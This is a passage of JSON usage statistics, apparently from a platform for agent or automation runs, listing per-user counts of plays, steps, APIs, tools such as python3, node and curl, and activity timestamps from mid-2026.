bash","plays":3}],"read_only_share":96,"cost_plays":7,"first":"2026-09-04T07:58:17.125721+00:00","last":"2026-09-06T14:38:57.14415+00:00"},{"owner":"ankurrawat","author":"ankurrawat","plays":70,"steps":510,"median_steps":7,"kinds":{"api":65,"shell":445,"browser":0},"apis":[{"name":"ipapi","plays":7},{"name":"posthog-mcp","plays":7},{"name":"hacker-news-api","plays":7},{"name":"slack","plays":6},{"name":"cloudflare","plays":6},{"name":"github","plays":6}],"tools":[{"name":"node","plays":70},{"name":"curl","plays":14},{"name":"jq","plays":14}],"clusters":[{"name":"node","plays":70}],"read_only_share":0,"cost_plays":0,"first":"2026-09-06T13:37:55.821338+00:00","last":"2026-09-06T13:52:46.641504+00:00"},{"owner":"modiqo","author":"modiqo","plays":44,"steps":215,"median_steps":5,"kinds":{"api":45,"shell":136,"browser":18},"apis":[{"name":"github","plays":8},{"name":"gmail","plays":2},{"name":"cloudflare","plays":2},{"name":"open-meteo","plays":2},{"name":"calendar","plays":1},{"name":"linear","plays":1}],"tools":[{"name":"deno","plays":14},{"name":"python3","plays":12},{"name":"sh","plays":3},{"name":"browser","plays":3},{"name":"jq","plays":3},{"name":"node","plays":3}],"clusters":[{"name":"messages.list · deno","plays":14},{"name":"github","plays":9},{"name":"python3","plays":9},{"name":"node","plays":6}],"read_only_share":95,"cost_plays":3,"first":"2026-08-17T23:57:09.831944+00:00","last":"2026-09-02T18:29:36.303409+00:00"},{"owner":"bhanu82","author":"bhanu82","plays":38,"steps":112,"median_steps":3,"kinds":{"api":0,"shell":108,"browser":4},"apis":[],"tools":[{"name":"python3","plays":37},{"name":"bash","plays":2},{"name":"browser","plays":1},{"name":"curl","plays":1},{"name":"dig","plays":1}],"clusters":[{"name":"python3","plays":35},{"name":"git · bash","plays":2},{"name":"open-meteo · browser","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T19:03:49.515949+00:00","last":"2026-09-05T13:41:42.566757+00:00"},{"owner":"rajkaria","author":"rajkaria","plays":31,"steps":87,"median_steps":3,"kinds":{"api":0,"shell":87,"browser":0},"apis":[],"tools":[{"name":"python3","plays":31}],"clusters":[{"name":"python3","plays":31}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T08:24:36.433315+00:00","last":"2026-09-05T20:40:44.701529+00:00"},{"owner":"dotisacat","author":"Sunzeyu06","plays":18,"steps":41,"median_steps":2,"kinds":{"api":0,"shell":41,"browser":0},"apis":[],"tools":[{"name":"python3","plays":18},{"name":"curl","plays":1}],"clusters":[{"name":"python3","plays":17},{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T17:19:38.549354+00:00","last":"2026-09-04T18:08:13.380392+00:00"},{"owner":"aaryanp","author":"aaryanp","plays":16,"steps":55,"median_steps":3,"kinds":{"api":21,"shell":21,"browser":0},"apis":[{"name":"github","plays":8},{"name":"gmail-api","plays":3},{"name":"npm-registry","plays":1},{"name":"linear","plays":1},{"name":"calendar","plays":1}],"tools":[{"name":"python3","plays":10},{"name":"sh","plays":3},{"name":"rote","plays":3},{"name":"date","plays":1},{"name":"bash","plays":1},{"name":"tulving","plays":1}],"clusters":[{"name":"github","plays":9},{"name":"node","plays":3},{"name":"python3","plays":2},{"name":"messages.list · deno","plays":2}],"read_only_share":100,"cost_plays":7,"first":"2026-09-02T18:21:47.611194+00:00","last":"2026-09-05T17:07:08.279212+00:00"},{"owner":"shambhavi","author":"Shambhavi","plays":15,"steps":19,"median_steps":1,"kinds":{"api":2,"shell":17,"browser":0},"apis":[{"name":"github","plays":1}],"tools":[{"name":"python3","plays":13},{"name":"git","plays":1},{"name":"npm","plays":1}],"clusters":[{"name":"python3","plays":11},{"name":"github","plays":3},{"name":"git · bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T09:33:03.198727+00:00","last":"2026-09-06T08:18:56.785798+00:00"},{"owner":"dezloper","author":"rote clean-room authoring","plays":14,"steps":72,"median_steps":5,"kinds":{"api":0,"shell":72,"browser":0},"apis":[],"tools":[{"name":"python3","plays":14}],"clusters":[{"name":"python3","plays":14}],"read_only_share":79,"cost_plays":0,"first":"2026-09-04T10:17:34.081649+00:00","last":"2026-09-06T10:58:04.179152+00:00"},{"owner":"harshitborana75","author":"harshitborana75","plays":14,"steps":26,"median_steps":2,"kinds":{"api":12,"shell":12,"browser":0},"apis":[{"name":"github","plays":2}],"tools":[{"name":"deno","plays":6},{"name":"echo","plays":6}],"clusters":[{"name":"messages.list · deno","plays":6},{"name":"python3","plays":6},{"name":"github","plays":2}],"read_only_share":100,"cost_plays":2,"first":"2026-09-01T18:55:41.008025+00:00","last":"2026-09-04T17:58:17.431712+00:00"},{"owner":"rajdeepkushwaha","author":"rajdeepkushwaha","plays":13,"steps":42,"median_steps":3,"kinds":{"api":0,"shell":42,"browser":0},"apis":[],"tools":[{"name":"python3","plays":13}],"clusters":[{"name":"python3","plays":13}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T03:16:58.661845+00:00","last":"2026-09-06T14:44:31.842507+00:00"},{"owner":"adnandev","author":"adnandev","plays":12,"steps":48,"median_steps":4,"kinds":{"api":0,"shell":48,"browser":0},"apis":[],"tools":[{"name":"python3","plays":12}],"clusters":[{"name":"python3","plays":12}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T06:13:19.518392+00:00","last":"2026-09-05T00:31:58.238475+00:00"},{"owner":"playbookacademy","author":"playbookacademy","plays":12,"steps":50,"median_steps":4,"kinds":{"api":0,"shell":50,"browser":0},"apis":[],"tools":[{"name":"python3","plays":12}],"clusters":[{"name":"python3","plays":12}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T13:34:21.731718+00:00","last":"2026-09-06T12:26:11.057576+00:00"},{"owner":"jaylabs","author":"jayanth","plays":9,"steps":83,"median_steps":9,"kinds":{"api":4,"shell":76,"browser":0},"apis":[{"name":"github","plays":1},{"name":"calendar","plays":1},{"name":"gmail","plays":1},{"name":"open-meteo","plays":1},{"name":"ipapi","plays":1}],"tools":[{"name":"python3","plays":8}],"clusters":[{"name":"python3","plays":7},{"name":"github","plays":1},{"name":"open-meteo · browser","plays":1}],"read_only_share":11,"cost_plays":1,"first":"2026-09-04T12:10:25.432735+00:00","last":"2026-09-06T13:13:35.409082+00:00"},{"owner":"pathan-security","author":"pathan-security","plays":9,"steps":12,"median_steps":1,"kinds":{"api":0,"shell":12,"browser":0},"apis":[],"tools":[{"name":"python3","plays":9},{"name":"ls","plays":1}],"clusters":[{"name":"python3","plays":9}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T12:35:45.617884+00:00","last":"2026-09-06T10:21:57.604725+00:00"},{"owner":"bavya21","author":"bavya21","plays":7,"steps":9,"median_steps":1,"kinds":{"api":0,"shell":9,"browser":0},"apis":[],"tools":[{"name":"python3","plays":5},{"name":"deno","plays":2}],"clusters":[{"name":"python3","plays":5},{"name":"messages.list · deno","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T18:31:56.630087+00:00","last":"2026-09-06T12:39:15.824218+00:00"},{"owner":"pumpurlabs","author":"Roberts Pumpurs","plays":7,"steps":1,"median_steps":0,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"sh","plays":1}],"clusters":[{"name":"github","plays":6},{"name":"node","plays":1}],"read_only_share":100,"cost_plays":6,"first":"2026-06-29T16:08:19.911787+00:00","last":"2026-08-27T19:13:16.108298+00:00"},{"owner":"robpumpaf","author":"Roberts Pumpurs","plays":7,"steps":19,"median_steps":3,"kinds":{"api":9,"shell":6,"browser":3},"apis":[{"name":"github","plays":2},{"name":"lmstudio","plays":1},{"name":"open-meteo","plays":1}],"tools":[{"name":"python3","plays":3},{"name":"browser","plays":1},{"name":"gh","plays":1}],"clusters":[{"name":"github","plays":3},{"name":"open-meteo · browser","plays":2},{"name":"git · bash","plays":1},{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":4,"first":"2026-07-23T08:01:06.595988+00:00","last":"2026-09-01T12:19:38.611651+00:00"},{"owner":"rusty-chirag","author":"rusty-chirag","plays":7,"steps":38,"median_steps":5,"kinds":{"api":16,"shell":16,"browser":0},"apis":[{"name":"artifact-registry-api-v1","plays":1},{"name":"newrelic","plays":1},{"name":"sentry","plays":1},{"name":"launchdarkly","plays":1},{"name":"github","plays":1},{"name":"drive-api-v3","plays":1}],"tools":[{"name":"python3","plays":5},{"name":"deno","plays":1}],"clusters":[{"name":"github","plays":6},{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":5,"first":"2026-08-31T23:53:16.631675+00:00","last":"2026-09-06T13:03:17.004019+00:00"},{"owner":"shashankinguva","author":"shashankinguva","plays":7,"steps":14,"median_steps":2,"kinds":{"api":6,"shell":6,"browser":0},"apis":[{"name":"gmail-api","plays":2}],"tools":[{"name":"python3","plays":3},{"name":"bash","plays":3}],"clusters":[{"name":"python3","plays":3},{"name":"messages.list · deno","plays":2},{"name":"github","plays":1},{"name":"git · bash","plays":1}],"read_only_share":100,"cost_plays":1,"first":"2026-09-03T08:03:08.975859+00:00","last":"2026-09-05T13:14:40.837976+00:00"},{"owner":"sundaram2021","author":"sundaram2021","plays":7,"steps":19,"median_steps":3,"kinds":{"api":0,"shell":19,"browser":0},"apis":[],"tools":[{"name":"python3","plays":6}],"clusters":[{"name":"python3","plays":6},{"name":"github","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T12:46:01.546862+00:00","last":"2026-09-06T13:00:00.730102+00:00"},{"owner":"dhiran4","author":"dhiran4","plays":6,"steps":15,"median_steps":3,"kinds":{"api":4,"shell":9,"browser":0},"apis":[{"name":"gmail","plays":2}],"tools":[{"name":"python3","plays":6}],"clusters":[{"name":"python3","plays":4},{"name":"messages.list · deno","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T22:17:08.453504+00:00","last":"2026-09-05T22:25:31.08902+00:00"},{"owner":"jvxplaymaker","author":"jvxplaymaker","plays":6,"steps":6,"median_steps":1,"kinds":{"api":0,"shell":6,"browser":0},"apis":[],"tools":[{"name":"python3","plays":6}],"clusters":[{"name":"python3","plays":6}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T15:39:20.866153+00:00","last":"2026-09-06T06:38:30.714974+00:00"},{"owner":"satianurag","author":"Satianurag","plays":6,"steps":27,"median_steps":5,"kinds":{"api":0,"shell":27,"browser":0},"apis":[],"tools":[{"name":"python3","plays":6}],"clusters":[{"name":"python3","plays":6}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T16:37:24.132379+00:00","last":"2026-09-06T11:36:39.635207+00:00"},{"owner":"soumavadas","author":"soumavadas","plays":6,"steps":12,"median_steps":2,"kinds":{"api":6,"shell":6,"browser":0},"apis":[{"name":"exa-search-mcp","plays":3}],"tools":[{"name":"python3","plays":2},{"name":"gh","plays":1}],"clusters":[{"name":"github","plays":3},{"name":"python3","plays":2},{"name":"git · bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T00:56:21.976657+00:00","last":"2026-09-05T02:24:05.713174+00:00"},{"owner":"viswesh","author":"sigireddyviswesh","plays":6,"steps":6,"median_steps":1,"kinds":{"api":0,"shell":6,"browser":0},"apis":[],"tools":[{"name":"python3","plays":5},{"name":"deno","plays":1}],"clusters":[{"name":"python3","plays":5},{"name":"messages.list · deno","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T15:05:15.034702+00:00","last":"2026-09-06T10:06:14.507342+00:00"},{"owner":"akshatgupta","author":"akshatgupta","plays":5,"steps":10,"median_steps":2,"kinds":{"api":0,"shell":10,"browser":0},"apis":[],"tools":[{"name":"python3","plays":5},{"name":"bash","plays":4}],"clusters":[{"name":"python3","plays":5}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T07:08:44.524313+00:00","last":"2026-09-06T07:08:55.279699+00:00"},{"owner":"amanm006","author":"amanm006","plays":5,"steps":11,"median_steps":2,"kinds":{"api":0,"shell":11,"browser":0},"apis":[],"tools":[{"name":"python3","plays":5},{"name":"bash","plays":1},{"name":"diff","plays":1}],"clusters":[{"name":"python3","plays":5}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T10:12:20.140181+00:00","last":"2026-09-04T13:17:47.602249+00:00"},{"owner":"chinmoy","author":"chinmoy","plays":5,"steps":37,"median_steps":7,"kinds":{"api":0,"shell":37,"browser":0},"apis":[],"tools":[{"name":"python3","plays":5}],"clusters":[{"name":"python3","plays":5}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T05:57:52.155795+00:00","last":"2026-09-04T11:59:27.227537+00:00"},{"owner":"chiru","author":"chiru","plays":5,"steps":25,"median_steps":5,"kinds":{"api":0,"shell":25,"browser":0},"apis":[],"tools":[{"name":"python3","plays":5}],"clusters":[{"name":"python3","plays":5}],"read_only_share":80,"cost_plays":0,"first":"2026-09-02T11:51:33.732765+00:00","last":"2026-09-03T08:59:25.34999+00:00"},{"owner":"gitanshulbisht","author":"gitanshulbisht","plays":5,"steps":5,"median_steps":1,"kinds":{"api":0,"shell":5,"browser":0},"apis":[],"tools":[{"name":"node","plays":5}],"clusters":[{"name":"node","plays":5}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T09:15:42.890471+00:00","last":"2026-09-01T09:16:27.990894+00:00"},{"owner":"mohdavaish","author":"mohdavaish","plays":5,"steps":5,"median_steps":1,"kinds":{"api":0,"shell":5,"browser":0},"apis":[],"tools":[{"name":"python3","plays":5}],"clusters":[{"name":"python3","plays":5}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T03:12:00.614316+00:00","last":"2026-09-06T05:10:54.020374+00:00"},{"owner":"mostlybuilding","author":"Sbalaramaraju2000","plays":5,"steps":6,"median_steps":1,"kinds":{"api":0,"shell":6,"browser":0},"apis":[],"tools":[{"name":"python3","plays":5}],"clusters":[{"name":"python3","plays":5}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T11:38:22.738877+00:00","last":"2026-09-06T12:16:59.442372+00:00"},{"owner":"pugarhuda","author":"pugarhuda","plays":5,"steps":11,"median_steps":2,"kinds":{"api":0,"shell":11,"browser":0},"apis":[],"tools":[{"name":"python3","plays":5},{"name":"sh","plays":5}],"clusters":[{"name":"node","plays":4},{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T13:11:53.553232+00:00","last":"2026-09-06T14:06:57.381091+00:00"},{"owner":"rajat-yadav","author":"rajat-yadav","plays":5,"steps":5,"median_steps":1,"kinds":{"api":0,"shell":5,"browser":0},"apis":[],"tools":[{"name":"bash","plays":4},{"name":"python3","plays":1}],"clusters":[{"name":"git · bash","plays":4},{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T18:43:08.349568+00:00","last":"2026-09-02T19:19:39.828367+00:00"},{"owner":"rajtiwari","author":"rajtiwari","plays":5,"steps":24,"median_steps":5,"kinds":{"api":0,"shell":24,"browser":0},"apis":[],"tools":[{"name":"python3","plays":5}],"clusters":[{"name":"python3","plays":5}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T13:09:26.735285+00:00","last":"2026-09-04T13:30:23.027862+00:00"},{"owner":"ranger-jay","author":"ranger-jay","plays":5,"steps":20,"median_steps":4,"kinds":{"api":5,"shell":11,"browser":0},"apis":[{"name":"gmail","plays":2},{"name":"calendar","plays":2}],"tools":[{"name":"python3","plays":4}],"clusters":[{"name":"python3","plays":3},{"name":"messages.list · deno","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T14:39:36.709914+00:00","last":"2026-09-04T17:55:57.615383+00:00"},{"owner":"sai0000","author":"sai0000","plays":5,"steps":17,"median_steps":3,"kinds":{"api":0,"shell":17,"browser":0},"apis":[],"tools":[{"name":"python3","plays":5}],"clusters":[{"name":"python3","plays":5}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T14:05:48.336561+00:00","last":"2026-09-06T14:06:02.275938+00:00"},{"owner":"shrinet82","author":"Shashwat Pratap Singh","plays":5,"steps":24,"median_steps":5,"kinds":{"api":3,"shell":20,"browser":0},"apis":[{"name":"gmail","plays":1}],"tools":[{"name":"python3","plays":4},{"name":"deno","plays":1}],"clusters":[{"name":"python3","plays":4},{"name":"messages.list · deno","plays":1}],"read_only_share":0,"cost_plays":0,"first":"2026-09-05T05:58:14.470673+00:00","last":"2026-09-05T11:21:46.404834+00:00"},{"owner":"srinjoy356","author":"srinjoy356","plays":5,"steps":16,"median_steps":3,"kinds":{"api":6,"shell":7,"browser":0},"apis":[{"name":"github","plays":2},{"name":"calendar","plays":1}],"tools":[{"name":"python3","plays":4},{"name":"curl","plays":3},{"name":"bash","plays":1},{"name":"data","plays":1},{"name":"dl","plays":1},{"name":"except","plays":1}],"clusters":[{"name":"node","plays":2},{"name":"github","plays":2},{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T22:32:31.769881+00:00","last":"2026-09-03T09:51:30.11747+00:00"},{"owner":"vedang","author":"vedang","plays":5,"steps":18,"median_steps":4,"kinds":{"api":0,"shell":18,"browser":0},"apis":[],"tools":[{"name":"python3","plays":5}],"clusters":[{"name":"python3","plays":5}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T13:00:45.953849+00:00","last":"2026-09-06T02:07:27.862048+00:00"},{"owner":"aryangorde","author":"Aryangorde6","plays":4,"steps":14,"median_steps":4,"kinds":{"api":0,"shell":14,"browser":0},"apis":[],"tools":[{"name":"sh","plays":3},{"name":"gh","plays":2},{"name":"bash","plays":2},{"name":"python3","plays":1}],"clusters":[{"name":"git · bash","plays":2},{"name":"node","plays":1},{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T15:18:54.546672+00:00","last":"2026-09-05T12:10:56.275666+00:00"},{"owner":"askme-org","author":"askme-org","plays":4,"steps":4,"median_steps":1,"kinds":{"api":0,"shell":4,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"github","plays":3},{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-08-31T07:00:50.304039+00:00","last":"2026-09-06T14:00:40.917669+00:00"},{"owner":"chaitanyagidwani","author":"chaitanyagidwani","plays":4,"steps":28,"median_steps":7,"kinds":{"api":8,"shell":18,"browser":0},"apis":[{"name":"gmail-api","plays":1},{"name":"google-calendar-api","plays":1},{"name":"github","plays":1},{"name":"hn-algolia","plays":1}],"tools":[{"name":"sh","plays":2},{"name":"SETUP","plays":1},{"name":"ENTRY","plays":1},{"name":"tool","plays":1},{"name":"VERIFY","plays":1},{"name":"python3","plays":1}],"clusters":[{"name":"github","plays":2},{"name":"node","plays":1},{"name":"messages.list · deno","plays":1}],"read_only_share":100,"cost_plays":1,"first":"2026-09-03T07:18:03.0411+00:00","last":"2026-09-06T04:42:19.969412+00:00"},{"owner":"chetan","author":"chetan","plays":4,"steps":14,"median_steps":4,"kinds":{"api":3,"shell":10,"browser":0},"apis":[{"name":"posthog-mcp","plays":1}],"tools":[{"name":"git","plays":1},{"name":"gh","plays":1},{"name":"jq","plays":1},{"name":"node","plays":1}],"clusters":[{"name":"git · bash","plays":2},{"name":"messages.list · deno","plays":1},{"name":"node","plays":1}],"read_only_share":100,"cost_plays":1,"first":"2026-08-21T19:13:12.761587+00:00","last":"2026-08-27T19:42:03.646734+00:00"},{"owner":"cyh7789","author":"cyh7789","plays":4,"steps":20,"median_steps":5,"kinds":{"api":0,"shell":20,"browser":0},"apis":[],"tools":[{"name":"python3","plays":4}],"clusters":[{"name":"python3","plays":4}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T12:21:18.954822+00:00","last":"2026-09-05T12:34:26.734001+00:00"},{"owner":"nehars-rs","author":"Nehars Rs","plays":4,"steps":11,"median_steps":3,"kinds":{"api":0,"shell":11,"browser":0},"apis":[],"tools":[{"name":"sh","plays":2},{"name":"python3","plays":2},{"name":"df","plays":1},{"name":"du","plays":1}],"clusters":[{"name":"node","plays":2},{"name":"python3","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T16:39:47.404073+00:00","last":"2026-09-06T14:43:54.719683+00:00"},{"owner":"nishitbaria","author":"nishitbaria","plays":4,"steps":68,"median_steps":17,"kinds":{"api":0,"shell":68,"browser":0},"apis":[],"tools":[{"name":"curl","plays":3},{"name":"python3","plays":3},{"name":"node","plays":1},{"name":"sh","plays":1}],"clusters":[{"name":"node","plays":2},{"name":"python3","plays":2}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T09:18:39.102749+00:00","last":"2026-09-06T12:58:32.977111+00:00"},{"owner":"patrickmitchell","author":"patrickmitchell","plays":4,"steps":4,"median_steps":1,"kinds":{"api":0,"shell":4,"browser":0},"apis":[],"tools":[{"name":"bash","plays":3},{"name":"python3","plays":1}],"clusters":[{"name":"git · bash","plays":3},{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T18:11:42.911586+00:00","last":"2026-09-04T18:39:12.345538+00:00"},{"owner":"paveenkumar-dev","author":"paveenkumar-dev","plays":4,"steps":32,"median_steps":8,"kinds":{"api":0,"shell":32,"browser":0},"apis":[],"tools":[{"name":"python3","plays":4}],"clusters":[{"name":"python3","plays":4}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T09:27:47.224456+00:00","last":"2026-09-06T14:52:24.695609+00:00"},{"owner":"rahul","author":"Agruskrrishofficial","plays":4,"steps":4,"median_steps":1,"kinds":{"api":0,"shell":4,"browser":0},"apis":[],"tools":[{"name":"python3","plays":4}],"clusters":[{"name":"python3","plays":4}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T16:51:23.07692+00:00","last":"2026-09-05T16:47:14.372438+00:00"},{"owner":"rajgharat07","author":"rajgharat07","plays":4,"steps":4,"median_steps":1,"kinds":{"api":0,"shell":4,"browser":0},"apis":[],"tools":[{"name":"bash","plays":4}],"clusters":[{"name":"git · bash","plays":4}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T18:59:44.133353+00:00","last":"2026-09-05T20:07:51.246739+00:00"},{"owner":"rameshwar","author":"Waghrameshwar123","plays":4,"steps":8,"median_steps":2,"kinds":{"api":0,"shell":8,"browser":0},"apis":[],"tools":[{"name":"python3","plays":2},{"name":"test","plays":1},{"name":"env","plays":1},{"name":"sed","plays":1}],"clusters":[{"name":"python3","plays":2},{"name":"github","plays":1},{"name":"git · bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T14:35:38.78812+00:00","last":"2026-09-02T20:40:28.046593+00:00"},{"owner":"sidships","author":"sidships","plays":4,"steps":19,"median_steps":5,"kinds":{"api":0,"shell":19,"browser":0},"apis":[],"tools":[{"name":"python3","plays":4},{"name":"sh","plays":3},{"name":"curl","plays":2}],"clusters":[{"name":"node","plays":3},{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T17:02:36.729771+00:00","last":"2026-09-04T15:12:19.668962+00:00"},{"owner":"sookra","author":"sookra","plays":4,"steps":13,"median_steps":3,"kinds":{"api":0,"shell":13,"browser":0},"apis":[],"tools":[{"name":"python3","plays":4}],"clusters":[{"name":"python3","plays":4}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T04:44:45.458084+00:00","last":"2026-09-05T23:20:59.590713+00:00"},{"owner":"squaredcube","author":"squaredcube","plays":4,"steps":16,"median_steps":4,"kinds":{"api":0,"shell":16,"browser":0},"apis":[],"tools":[{"name":"node","plays":4}],"clusters":[{"name":"node","plays":4}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T06:21:20.217836+00:00","last":"2026-09-06T06:21:32.141696+00:00"},{"owner":"swapankumar","author":"swapankumar","plays":4,"steps":16,"median_steps":4,"kinds":{"api":0,"shell":16,"browser":0},"apis":[],"tools":[{"name":"node","plays":4}],"clusters":[{"name":"node","plays":4}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T22:27:41.488717+00:00","last":"2026-09-05T20:19:02.500893+00:00"},{"owner":"vinayakvispute","author":"Vinayak Vispute","plays":4,"steps":31,"median_steps":8,"kinds":{"api":4,"shell":26,"browser":0},"apis":[{"name":"gmail","plays":1}],"tools":[{"name":"python3","plays":4}],"clusters":[{"name":"python3","plays":3},{"name":"messages.list · deno","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T19:22:57.444689+00:00","last":"2026-09-05T22:35:16.363225+00:00"},{"owner":"agastya","author":"agastya","plays":3,"steps":17,"median_steps":6,"kinds":{"api":7,"shell":10,"browser":0},"apis":[{"name":"github","plays":2},{"name":"exa-search","plays":1}],"tools":[{"name":"python3","plays":3}],"clusters":[{"name":"github","plays":2},{"name":"messages.list · deno","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T16:24:38.974542+00:00","last":"2026-09-06T05:51:08.037587+00:00"},{"owner":"andrew-kevin-007","author":"andrew-kevin-007","plays":3,"steps":7,"median_steps":2,"kinds":{"api":0,"shell":7,"browser":0},"apis":[],"tools":[{"name":"python3","plays":3}],"clusters":[{"name":"python3","plays":3}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T10:01:32.39491+00:00","last":"2026-09-06T11:21:02.497826+00:00"},{"owner":"anvit","author":"anvit","plays":3,"steps":9,"median_steps":3,"kinds":{"api":0,"shell":9,"browser":0},"apis":[],"tools":[{"name":"node","plays":3}],"clusters":[{"name":"node","plays":3}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T07:15:28.245926+00:00","last":"2026-09-05T04:51:36.05075+00:00"},{"owner":"ashutoshd","author":"ashutoshd","plays":3,"steps":10,"median_steps":3,"kinds":{"api":0,"shell":10,"browser":0},"apis":[],"tools":[{"name":"python3","plays":3}],"clusters":[{"name":"python3","plays":3}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T12:12:09.645705+00:00","last":"2026-09-03T12:12:13.348319+00:00"},{"owner":"askme","author":"askme","plays":3,"steps":0,"median_steps":0,"kinds":{"api":0,"shell":0,"browser":0},"apis":[],"tools":[],"clusters":[{"name":"github","plays":3}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T09:25:05.429167+00:00","last":"2026-09-03T09:26:09.786292+00:00"},{"owner":"balajithukuntala","author":"balajithukuntala","plays":3,"steps":7,"median_steps":2,"kinds":{"api":0,"shell":7,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1},{"name":"find","plays":1},{"name":"sh","plays":1},{"name":"bash","plays":1}],"clusters":[{"name":"python3","plays":1},{"name":"node","plays":1},{"name":"git · bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T17:09:21.617644+00:00","last":"2026-09-04T06:00:17.361877+00:00"},{"owner":"cheersaman1","author":"Cheersaman1","plays":3,"steps":5,"median_steps":2,"kinds":{"api":0,"shell":5,"browser":0},"apis":[],"tools":[{"name":"python3","plays":3},{"name":"bash","plays":1},{"name":"diff","plays":1}],"clusters":[{"name":"python3","plays":3}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T18:12:18.010083+00:00","last":"2026-09-02T18:33:25.279545+00:00"},{"owner":"ganga-300","author":"ganga-300","plays":3,"steps":11,"median_steps":4,"kinds":{"api":5,"shell":3,"browser":0},"apis":[{"name":"github","plays":2},{"name":"gmail-api","plays":1}],"tools":[{"name":"deno","plays":1}],"clusters":[{"name":"github","plays":2},{"name":"messages.list · deno","plays":1}],"read_only_share":100,"cost_plays":2,"first":"2026-08-26T10:45:12.585202+00:00","last":"2026-09-01T09:43:39.752374+00:00"},{"owner":"harsh","author":"harsh","plays":3,"steps":15,"median_steps":5,"kinds":{"api":0,"shell":15,"browser":0},"apis":[],"tools":[{"name":"python3","plays":3}],"clusters":[{"name":"python3","plays":3}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T22:05:14.260041+00:00","last":"2026-09-04T23:14:29.267524+00:00"},{"owner":"lakshay","author":"lakshay","plays":3,"steps":17,"median_steps":6,"kinds":{"api":0,"shell":17,"browser":0},"apis":[],"tools":[{"name":"python3","plays":3},{"name":"git","plays":1}],"clusters":[{"name":"python3","plays":2},{"name":"git · bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T06:16:15.999441+00:00","last":"2026-09-05T07:26:48.331582+00:00"},{"owner":"maannaaan","author":"maannaaan","plays":3,"steps":3,"median_steps":1,"kinds":{"api":0,"shell":3,"browser":0},"apis":[],"tools":[{"name":"python3","plays":3}],"clusters":[{"name":"python3","plays":3}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T16:44:48.520571+00:00","last":"2026-09-06T14:13:28.553364+00:00"},{"owner":"mahesh","author":"Mahesh Moholkar","plays":3,"steps":41,"median_steps":14,"kinds":{"api":0,"shell":41,"browser":0},"apis":[],"tools":[{"name":"python3","plays":3}],"clusters":[{"name":"python3","plays":3}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T10:21:59.4485+00:00","last":"2026-09-06T14:42:12.080526+00:00"},{"owner":"manasds","author":"Mddevs21","plays":3,"steps":5,"median_steps":2,"kinds":{"api":0,"shell":2,"browser":3},"apis":[],"tools":[{"name":"browser","plays":1},{"name":"env","plays":1},{"name":"git","plays":1}],"clusters":[{"name":"github","plays":1},{"name":"open-meteo · browser","plays":1},{"name":"git · 